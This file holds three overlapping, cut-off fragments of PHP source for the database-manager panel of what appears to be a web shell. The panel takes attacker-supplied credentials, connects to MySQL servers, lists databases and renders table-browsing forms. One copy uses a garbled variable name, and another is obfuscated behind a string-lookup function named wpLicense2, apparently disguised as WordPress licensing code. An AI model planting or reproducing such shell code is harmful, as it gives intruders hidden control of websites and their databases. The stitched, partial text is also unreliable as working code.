<td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td> <td> <?php $tmp = "<input type=text name=sql_base value=''>"; if(isset($_POST['sql_host'])){ if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'])) { switch($_POST['charset']) { case "Windows-1251": $db->setCharset('cp1251'); break; case "UTF-8": $db->setCharset('utf8'); break; case "KOI8-R": $db->setCharset('koi8r'); break; case "KOI8-U": $db->setCharset('koi8u'); break; case "cp866": $db->setCharset('cp866'); break; } $db->listDbs(); echo "<select name=sql_base><option value=''></option>"; while($item = $db->fetch()) { list($key, $value) = each($item); echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; } } else echo $tmp; }else echo $tmp; ?></td> <td><input type=submit value=">>"></td> </tr> </table> <script> function st(t) { document.sf.p1.value = 'select'; document.sf.p2.value = '';
case "UTF-8": $db->setCharset('utf8'); break; case "KOI8-R": $db->setCharset('koi8r'); break; case "KOI8-U": $db->setCharset('koi8u'); break; case "cp866": $db->setCharset('cp866'); break; } $db->listDbs(); echo "<label><select name=sql_base><option value=''></option>"; while ($▟ = $db->fetch()) { list($key, $value) = each($▟); echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>'; } echo '</select></label>'; } else { echo $tmp; } } else { echo $tmp; } echo "</td>\n\t\t\t\t<td><input type=submit value='submit' onclick='fs(d.sf);'></td>\n <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n s_db='" . @addslashes($_POST['sql_base']) . "';\n function fs(f) {\n if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n if(f.p1) f.p1.value='';\n if(f.p2) f.p2.value='';\n if(f.p3) f.p3.value='';\n }\n }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = 'select';\n\t\t\t\td.sf.p2.value = t;\n if(l && d.sf.p3) d.sf.p3.value = l;\n\t\t\t\td.sf.submit();\n\t\t\t}\n\t\t\tfunction is() {\n\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\n\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\n\t\t\t}\n\t\t</script>"; if (isset($db) && $db->link) { echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; if (!empty($_POST['sql_base'])) { $db->selectdb($_POST['sql_base']);
echo wpLicense2(1225); if(@$_POST[ wpLicense2(1226)]== wpLicense2(1227))echo wpLicense2(1228); echo wpLicense2(1229). (empty($_POST[ wpLicense2(1230)])? wpLicense2(1231):htmlspecialchars($_POST[ wpLicense2(1232)])) . wpLicense2(1233). (empty($_POST[ wpLicense2(1234)])? wpLicense2(1235):htmlspecialchars($_POST[ wpLicense2(1236)])) . wpLicense2(1237). (empty($_POST[ wpLicense2(1238)])? wpLicense2(1239):htmlspecialchars($_POST[ wpLicense2(1240)])) . wpLicense2(1241); $tmp = wpLicense2(1242); if(isset($_POST[ wpLicense2(1243)])){ if($db->connect($_POST[ wpLicense2(1244)], $_POST[ wpLicense2(1245)], $_POST[ wpLicense2(1246)], $_POST[ wpLicense2(1247)])) { switch($_POST[ wpLicense2(1248)]) { case wpLicense2(1249): $db->setCharset( wpLicense2(1250)); break; case wpLicense2(1251): $db->setCharset( wpLicense2(1252)); break; case wpLicense2(1253): $db->setCharset( wpLicense2(1254)); break; case wpLicense2(1255): $db->setCharset( wpLicense2(1256)); break; case wpLicense2(1257): $db->setCharset( wpLicense2(1258)); break; } $db->listDbs(); echo wpLicense2(1259); while($item = $db->fetch()) { list($key, $value) = each($item); echo wpLicense2(1260).$value. wpLicense2(1261).($value==$_POST[ wpLicense2(1262)]? wpLicense2(1263): wpLicense2(1264)). wpLicense2(1265).$value. wpLicense2(1266); } echo wpLicense2(1267); } else echo $tmp; }else echo $tmp; echo wpLicense2(1268) . (empty($_POST[ wpLicense2(1269)])? wpLicense2(1270): wpLicense2(1271)) . wpLicense2(1272).@addslashes($_POST[ wpLicense2(1273)]). wpLicense2(1274); if(isset($db) && $db->link){ echo wpLicense2(1275); if(!empty($_POST[ wpLicense2(1276)])){ $db->selectdb($_POST[ wpLicense2(1277)]); echo wpLicense2(1278); $tbls_res = $db->listTables();